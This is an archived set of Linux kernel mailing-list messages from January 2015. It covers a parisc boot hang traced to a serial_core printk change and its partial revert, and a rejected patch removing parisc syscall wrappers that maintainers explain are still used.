> >> drivers/tty/serial/8250/8250_core.c:2857: error: 'TIOCSRS485' undeclared
> >> (first use in this function)
> >> drivers/tty/serial/8250/8250_core.c:2857: error: (Each undeclared
> >> identifier is reported only once
> >> drivers/tty/serial/8250/8250_core.c:2857: error: for each function it
> >> appears in.)
> >> drivers/tty/serial/8250/8250_core.c:2858: error: implicit declaration of
> >> function 'copy_from_user'
> >> drivers/tty/serial/8250/8250_core.c:2869: error: 'TIOCGRS485' undeclared
> >> (first use in this function)
> >> drivers/tty/serial/8250/8250_core.c:2870: error: implicit declaration of
> >> function 'copy_to_user'
> >> make[4]: *** [drivers/tty/serial/8250/8250_core.o] Error 1
> >> make[3]: *** [drivers/tty/serial/8250] Error 2
> >> make[2]: *** [drivers/tty/serial] Error 2
> >> make[1]: *** [drivers/tty] Error 2
> >>
> >> I'll work out how to fix it in the morning ... but really, having a
> >> bisectable tree is supposed to be the first rule of a maintainer.
> > OK, I managed to bisect the rest of the tree compensating for the build
> > failure.  This is the failing commit (cc's added):
> >
> > commit 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
> > Author: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
> > Date:   Mon Sep 1 20:49:43 2014 +0530
> >
> >      serial: serial_core.c: printk replacement
> >   
> > I've confirmed by reverting against 3.19-rc2 and the system boots again.
> > This looks like a symptom of underlying problems within the dev_ print
> > helper accessors, so I'll dig further, but we'll need this reverted in
> > the meantime.
> Sure.
> can dev_print hang the machine? if dev is NULL, it will just print using 
> printk.
> in vprintk_emit(), there is an Ouch for printk recursing into itself. 
> can that be the cause?
> and, can i help you somehow to find out the root cause of this ?

It's definitely to do with dev_printk having a different call path from
printk.  I suspect one of the called functions overruns its stack.
Unless you have a stack grows up machine, there's probably no way to
reproduce (if the stack overrun suspicion is correct).  Visual
inspection might turn up a clue: it's probably an array written beyond
bounds somewhere in the call chain.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: [PATCH] serial: fix parisc boot hang
Date: Fri, 02 Jan 2015 10:05:13 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <1420221913.2072.7.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420221941 16458 80.91.229.3 (2 Jan 2015 18:05:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 18:05:41 +0000 (UTC)
Cc: Sudip Mukherjee <sudipm.mukherjee@gmail.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:05:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y76bJ-0002yR-TP
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 19:05:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752272AbbABSFQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 13:05:16 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51342 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751266AbbABSFP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 13:05:15 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C40AD8EE0CB;
	Fri,  2 Jan 2015 10:05:14 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3cV0WeV3HDIP; Fri,  2 Jan 2015 10:05:14 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 539AB8EE02B;
	Fri,  2 Jan 2015 10:05:14 -0800 (PST)
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25528 gmane.linux.serial:17171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25528>

From: James Bottomley <JBottomley@Parallels.com>

This is a partial revert of 2f2dafe (serial: serial_core.c: printk
replacement) which gets us booting again.  The real problem seems to be
the _emit path in early boot.  However, until we can root cause it, we
need at least to get boot working.

Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
Cc: stable@vger.kernel.org
Signed-off-by: James Bottomley <JBottomley@Parallels.com>

---

diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
index 57ca61b..984605b 100644
--- a/drivers/tty/serial/serial_core.c
+++ b/drivers/tty/serial/serial_core.c
@@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
 		break;
 	}
 
-	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
+	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
+	       port->dev ? dev_name(port->dev) : "",
+	       port->dev ? ": " : "",
 	       drv->dev_name,
 	       drv->tty_driver->name_base + port->line,
 	       address, port->irq, port->uartclk / 16, uart_type(port));


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] arch: parisc: kernel: sys_parisc:  Remove some unused functions
Date: Fri,  2 Jan 2015 19:09:50 +0100
Lines: 120
Approved: news@gmane.org
Message-ID: <1420222190-32621-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1420222025 17586 80.91.229.3 (2 Jan 2015 18:07:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 18:07:05 +0000 (UTC)
Cc: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>,
	James Hogan <james.hogan@imgtec.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 02 19:06:56 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Y76ch-0003hA-64
	for glk-linux-kernel-3@plane.gmane.org; Fri, 02 Jan 2015 19:06:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752462AbbABSGw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 2 Jan 2015 13:06:52 -0500
Original-Received: from mail-wi0-f174.google.com ([209.85.212.174]:34099 "EHLO
	mail-wi0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752431AbbABSGu (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 2 Jan 2015 13:06:50 -0500
Original-Received: by mail-wi0-f174.google.com with SMTP id h11so28100722wiw.13
        for <linux-kernel@vger.kernel.org>; Fri, 02 Jan 2015 10:06:48 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=FSH2F2Xq43bm3Icov4hxIYK0ijyHzCLDSdzKn8YAdAo=;
        b=eXXUS/TEHMsSQFYUGuyDbw81sZPgcptTpHmJY14kFg0RalSCo7/RYvq5afvezKjEew
         tb8JJ0RuPyyUNVO08XfNsdCiMY6wGeL+FBELx47ORcQTGToi3sngP3DYalhpx4XHbH5F
         KBJ4uWyoJXbEZ3BMBvncGdGjKvZnOeV4T0gEs5OCkph+tf8CJ4l8PEcnL6ES4AW/LDQq
         aopp1rmpBTL0Vw84M7oNeoWopwPHZ9s5c/2m2+5KFHIAPXQ4soHEEndjEh+ufyb/1QUL
         sbT6u+W2XJKq5BJnSLO8JdBGZ/i32QiaEWM0HbBcGIK5LeK6PETduiJ7o9aqZld8bWV2
         iVRA==
X-Gm-Message-State: ALoCoQnDquAkGzcnw0KJJVb3yaLFFqu1t++Jqmgh0VMB7DtjO7HY7yuNMmH3bUd/jLOTGjbK6qqU
X-Received: by 10.180.198.211 with SMTP id je19mr133598340wic.27.1420222008656;
        Fri, 02 Jan 2015 10:06:48 -0800 (PST)
Original-Received: from localhost.localdomain (h-246-111.a218.priv.bahnhof.se. [85.24.246.111])
        by mx.google.com with ESMTPSA id cp4sm65397308wjb.16.2015.01.02.10.06.47
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 02 Jan 2015 10:06:47 -0800 (PST)
X-Mailer: git-send-email 1.7.10.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1857853 gmane.linux.ports.parisc:25529
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1857853>

Removes some functions that are not used anywhere:
parisc_personality() parisc_fallocate() parisc_sync_file_range()
parisc_fadvise64_64() parisc_readahead() parisc_pwrite64() parisc_pread64()
parisc_ftruncate64() parisc_truncate64()

This was partially found by using a static code analysis program called cppcheck.

Signed-off-by: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
---
 arch/parisc/kernel/sys_parisc.c |   81 ---------------------------------------
 1 file changed, 81 deletions(-)

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2..65ab69d 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -283,18 +283,6 @@ asmlinkage unsigned long sys_mmap(unsigned long addr, unsigned long len,
 /* Fucking broken ABI */
 
 #ifdef CONFIG_64BIT
-asmlinkage long parisc_truncate64(const char __user * path,
-					unsigned int high, unsigned int low)
-{
-	return sys_truncate(path, (long)high << 32 | low);
-}
-
-asmlinkage long parisc_ftruncate64(unsigned int fd,
-					unsigned int high, unsigned int low)
-{
-	return sys_ftruncate(fd, (long)high << 32 | low);
-}
-
 /* stubs for the benefit of the syscall_table since truncate64 and truncate 
  * are identical on LP64 */
 asmlinkage long sys_truncate64(const char __user * path, unsigned long length)
@@ -309,62 +297,8 @@ asmlinkage long sys_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg
 {
 	return sys_fcntl(fd, cmd, arg);
 }
-#else
-
-asmlinkage long parisc_truncate64(const char __user * path,
-					unsigned int high, unsigned int low)
-{
-	return sys_truncate64(path, (loff_t)high << 32 | low);
-}
-
-asmlinkage long parisc_ftruncate64(unsigned int fd,
-					unsigned int high, unsigned int low)
-{
-	return sys_ftruncate64(fd, (loff_t)high << 32 | low);
-}
 #endif
 
-asmlinkage ssize_t parisc_pread64(unsigned int fd, char __user *buf, size_t count,
-					unsigned int high, unsigned int low)
-{
-	return sys_pread64(fd, buf, count, (loff_t)high << 32 | low);
-}
-
-asmlinkage ssize_t parisc_pwrite64(unsigned int fd, const char __user *buf,
-			size_t count, unsigned int high, unsigned int low)
-{
-	return sys_pwrite64(fd, buf, count, (loff_t)high << 32 | low);
-}
-
-asmlinkage ssize_t parisc_readahead(int fd, unsigned int high, unsigned int low,
-		                    size_t count)
-{
-	return sys_readahead(fd, (loff_t)high << 32 | low, count);
-}
-
-asmlinkage long parisc_fadvise64_64(int fd,
-			unsigned int high_off, unsigned int low_off,
-			unsigned int high_len, unsigned int low_len, int advice)
-{
-	return sys_fadvise64_64(fd, (loff_t)high_off << 32 | low_off,
-			(loff_t)high_len << 32 | low_len, advice);
-}
-
-asmlinkage long parisc_sync_file_range(int fd,
-			u32 hi_off, u32 lo_off, u32 hi_nbytes, u32 lo_nbytes,
-			unsigned int flags)
-{
-	return sys_sync_file_range(fd, (loff_t)hi_off << 32 | lo_off,
-			(loff_t)hi_nbytes << 32 | lo_nbytes, flags);
-}
-
-asmlinkage long parisc_fallocate(int fd, int mode, u32 offhi, u32 offlo,
-				u32 lenhi, u32 lenlo)
-{
-        return sys_fallocate(fd, mode, ((u64)offhi << 32) | offlo,
-                             ((u64)lenhi << 32) | lenlo);
-}
-
 asmlinkage unsigned long sys_alloc_hugepages(int key, unsigned long addr, unsigned long len, int prot, int flag)
 {
 	return -ENOMEM;
@@ -374,18 +308,3 @@ asmlinkage int sys_free_hugepages(unsigned long addr)
 {
 	return -EINVAL;
 }
-
-long parisc_personality(unsigned long personality)
-{
-	long err;
-
-	if (personality(current->personality) == PER_LINUX32
-	    && personality(personality) == PER_LINUX)
-		personality = (personality & ~PER_MASK) | PER_LINUX32;
-
-	err = sys_personality(personality);
-	if (personality(err) == PER_LINUX32)
-		err = (err & ~PER_MASK) | PER_LINUX;
-
-	return err;
-}
-- 
1.7.10.4


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: parisc: kernel: sys_parisc:  Remove some unused
 functions
Date: Fri, 02 Jan 2015 19:12:35 +0100
Lines: 134
Approved: news@gmane.org
Message-ID: <54A6DF93.9000608@gmx.de>
References: <1420222190-32621-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420222372 23235 80.91.229.3 (2 Jan 2015 18:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 18:12:52 +0000 (UTC)
Cc: James Hogan <james.hogan@imgtec.com>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:12:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y76iK-0005iI-G2
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 19:12:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751950AbbABSMn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 13:12:43 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:54108 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750913AbbABSMn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 13:12:43 -0500
Original-Received: from [192.168.20.60] ([84.173.16.177]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MZkv0-1YPAlP00Q2-00LUAo; Fri, 02 Jan 2015 19:12:37
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1420222190-32621-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
X-Provags-ID: V03:K0:VHvslBcswY/M4iJBLsmITjzo/fIKnFpirpbn9VEvfrO2fyNMgTb
 kYujHgutxfGGwU+XNrz/jI3EIGiuCafPzWb7+n6X2FqMu4VJEoO3xHwDALeSTgaN7ReNvVD
 FhmOk3BI2Z/s6rZd5JxZnmPnEZc8GV9GNRrjToWFNdlfr86dHO0rgqptgFBnO4KjJdA2ouj
 VnXbESBj0zEwP64mmPueQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25530 gmane.linux.kernel:1857854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25530>

On 01/02/2015 07:09 PM, Rickard Strandqvist wrote:
> Removes some functions that are not used anywhere:
> parisc_personality() parisc_fallocate() parisc_sync_file_range()
> parisc_fadvise64_64() parisc_readahead() parisc_pwrite64() parisc_pread64()
> parisc_ftruncate64() parisc_truncate64()
>
> This was partially found by using a static code analysis program called cppcheck.

NAK.

Those functions implement syscalls specific to the parisc ABI.
They are referenced in the syscall table which gets generated by the ENTRY_OURS()
macro in arch/parisc/kernel/syscall_table.S

Helge

>
> Signed-off-by: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
> ---
>   arch/parisc/kernel/sys_parisc.c |   81 ---------------------------------------
>   1 file changed, 81 deletions(-)
>
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index e1ffea2..65ab69d 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -283,18 +283,6 @@ asmlinkage unsigned long sys_mmap(unsigned long addr, unsigned long len,
>   /* Fucking broken ABI */
>
>   #ifdef CONFIG_64BIT
> -asmlinkage long parisc_truncate64(const char __user * path,
> -					unsigned int high, unsigned int low)
> -{
> -	return sys_truncate(path, (long)high << 32 | low);
> -}
> -
> -asmlinkage long parisc_ftruncate64(unsigned int fd,
> -					unsigned int high, unsigned int low)
> -{
> -	return sys_ftruncate(fd, (long)high << 32 | low);
> -}
> -
>   /* stubs for the benefit of the syscall_table since truncate64 and truncate
>    * are identical on LP64 */
>   asmlinkage long sys_truncate64(const char __user * path, unsigned long length)
> @@ -309,62 +297,8 @@ asmlinkage long sys_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg
>   {
>   	return sys_fcntl(fd, cmd, arg);
>   }
> -#else
> -
> -asmlinkage long parisc_truncate64(const char __user * path,
> -					unsigned int high, unsigned int low)
> -{
> -	return sys_truncate64(path, (loff_t)high << 32 | low);
> -}
> -
> -asmlinkage long parisc_ftruncate64(unsigned int fd,
> -					unsigned int high, unsigned int low)
> -{
> -	return sys_ftruncate64(fd, (loff_t)high << 32 | low);
> -}
>   #endif
>
> -asmlinkage ssize_t parisc_pread64(unsigned int fd, char __user *buf, size_t count,
> -					unsigned int high, unsigned int low)
> -{
> -	return sys_pread64(fd, buf, count, (loff_t)high << 32 | low);
> -}
> -
> -asmlinkage ssize_t parisc_pwrite64(unsigned int fd, const char __user *buf,
> -			size_t count, unsigned int high, unsigned int low)
> -{
> -	return sys_pwrite64(fd, buf, count, (loff_t)high << 32 | low);
> -}
> -
> -asmlinkage ssize_t parisc_readahead(int fd, unsigned int high, unsigned int low,
> -		                    size_t count)
> -{
> -	return sys_readahead(fd, (loff_t)high << 32 | low, count);
> -}
> -
> -asmlinkage long parisc_fadvise64_64(int fd,
> -			unsigned int high_off, unsigned int low_off,
> -			unsigned int high_len, unsigned int low_len, int advice)
> -{
> -	return sys_fadvise64_64(fd, (loff_t)high_off << 32 | low_off,
> -			(loff_t)high_len << 32 | low_len, advice);
> -}
> -
> -asmlinkage long parisc_sync_file_range(int fd,
> -			u32 hi_off, u32 lo_off, u32 hi_nbytes, u32 lo_nbytes,
> -			unsigned int flags)
> -{
> -	return sys_sync_file_range(fd, (loff_t)hi_off << 32 | lo_off,
> -			(loff_t)hi_nbytes << 32 | lo_nbytes, flags);
> -}
> -
> -asmlinkage long parisc_fallocate(int fd, int mode, u32 offhi, u32 offlo,
> -				u32 lenhi, u32 lenlo)
> -{
> -        return sys_fallocate(fd, mode, ((u64)offhi << 32) | offlo,
> -                             ((u64)lenhi << 32) | lenlo);
> -}
> -
>   asmlinkage unsigned long sys_alloc_hugepages(int key, unsigned long addr, unsigned long len, int prot, int flag)
>   {
>   	return -ENOMEM;
> @@ -374,18 +308,3 @@ asmlinkage int sys_free_hugepages(unsigned long addr)
>   {
>   	return -EINVAL;
>   }
> -
> -long parisc_personality(unsigned long personality)
> -{
> -	long err;
> -
> -	if (personality(current->personality) == PER_LINUX32
> -	    && personality(personality) == PER_LINUX)
> -		personality = (personality & ~PER_MASK) | PER_LINUX32;
> -
> -	err = sys_personality(personality);
> -	if (personality(err) == PER_LINUX32)
> -		err = (err & ~PER_MASK) | PER_LINUX;
> -
> -	return err;
> -}
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: parisc: kernel: sys_parisc:  Remove some unused
 functions
Date: Fri, 2 Jan 2015 18:14:08 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20150102181408.GT22149@ZenIV.linux.org.uk>
References: <1420222190-32621-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420222469 24755 80.91.229.3 (2 Jan 2015 18:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 18:14:29 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	James Hogan <james.hogan@imgtec.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:14:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y76jt-0006Kj-5h
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 19:14:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751266AbbABSOU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 13:14:20 -0500
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:33234 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751038AbbABSOU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 13:14:20 -0500
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1Y76jg-0007WB-PY; Fri, 02 Jan 2015 18:14:08 +0000
Content-Disposition: inline
In-Reply-To: <1420222190-32621-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25531 gmane.linux.kernel:1857855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25531>

On Fri, Jan 02, 2015 at 07:09:50PM +0100, Rickard Strandqvist wrote:
> Removes some functions that are not used anywhere:
> parisc_personality() parisc_fallocate() parisc_sync_file_range()
> parisc_fadvise64_64() parisc_readahead() parisc_pwrite64() parisc_pread64()
> parisc_ftruncate64() parisc_truncate64()
> 
> This was partially found by using a static code analysis program called cppcheck.

... which program has ended up missing
#define ENTRY_OURS(_name_) .word parisc_##_name_
and tons of lines like this
        ENTRY_OURS(sync_file_range)
in arch/parisc/kernel/syscall_table.S
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH] serial: fix parisc boot hang
Date: Fri, 2 Jan 2015 10:51:27 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20150102185127.GA8636@kroah.com>
References: <1420221913.2072.7.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420224700 25504 80.91.229.3 (2 Jan 2015 18:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 18:51:40 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org,
	Sudip Mukherjee <sudipm.mukherjee@gmail.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:51:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y77Jp-0006td-SG
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 19:51:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752221AbbABSv3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 13:51:29 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:59567 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750913AbbABSv3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 13:51:29 -0500
Original-Received: from localhost (c-24-22-230-10.hsd1.wa.comcast.net [24.22.230.10])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 242EC8B4;
	Fri,  2 Jan 2015 18:51:28 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1420221913.2072.7.camel@HansenPartnership.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25532 gmane.linux.serial:17173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25532>

On Fri, Jan 02, 2015 at 10:05:13AM -0800, James Bottomley wrote:
> From: James Bottomley <JBottomley@Parallels.com>
> 
> This is a partial revert of 2f2dafe (serial: serial_core.c: printk
> replacement) which gets us booting again.  The real problem seems to be
> the _emit path in early boot.  However, until we can root cause it, we
> need at least to get boot working.
> 
> Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
> Cc: stable@vger.kernel.org
> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> 
> ---
> 
> diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
> index 57ca61b..984605b 100644
> --- a/drivers/tty/serial/serial_core.c
> +++ b/drivers/tty/serial/serial_core.c
> @@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
>  		break;
>  	}
>  
> -	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> +	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> +	       port->dev ? dev_name(port->dev) : "",
> +	       port->dev ? ": " : "",
>  	       drv->dev_name,
